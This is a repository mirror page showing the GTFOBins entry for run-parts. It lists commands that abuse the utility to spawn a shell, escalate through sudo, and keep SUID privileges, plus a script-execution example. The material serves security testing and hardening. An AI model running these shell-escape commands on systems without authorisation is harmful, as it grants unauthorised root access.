This website requires JavaScript.
Explore
Help
Sign In
public-mirrors
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced
2025-11-03 18:28:43 +01:00
Code
Issues
Projects
Releases
Wiki
Activity
Files
cb6a4c4dc47d7eab2f1d4881712fb7e5dbda6147
GTFOBins.github.io
/
_gtfobins
/
run-parts.md
Ruben Groenewoud
cb6a4c4dc4
[Update] Run-parts
2024-08-27 13:23:35 +02:00
577 B
Raw
Blame
History
functions
functions
shell
sudo
suid
command
code
run-parts --new-session --regex '^sh$' /bin
code
sudo run-parts --new-session --regex '^sh$' /bin
code
./run-parts --new-session --regex '^sh$' /bin --arg='-p'
description
code
Execute all executable scripts in a specified directory. In this case, the command runs all scripts in `/tmp/run-parts/`.
mkdir -p /tmp/run-parts/ printf '#!/bin/sh\n/bin/sh -c "/bin/id > /tmp/id.out"\n' > /tmp/run-parts/id && chmod +x /tmp/run-parts/id run-parts /tmp/run-parts
Reference in New Issue
View Git Blame
Copy Permalink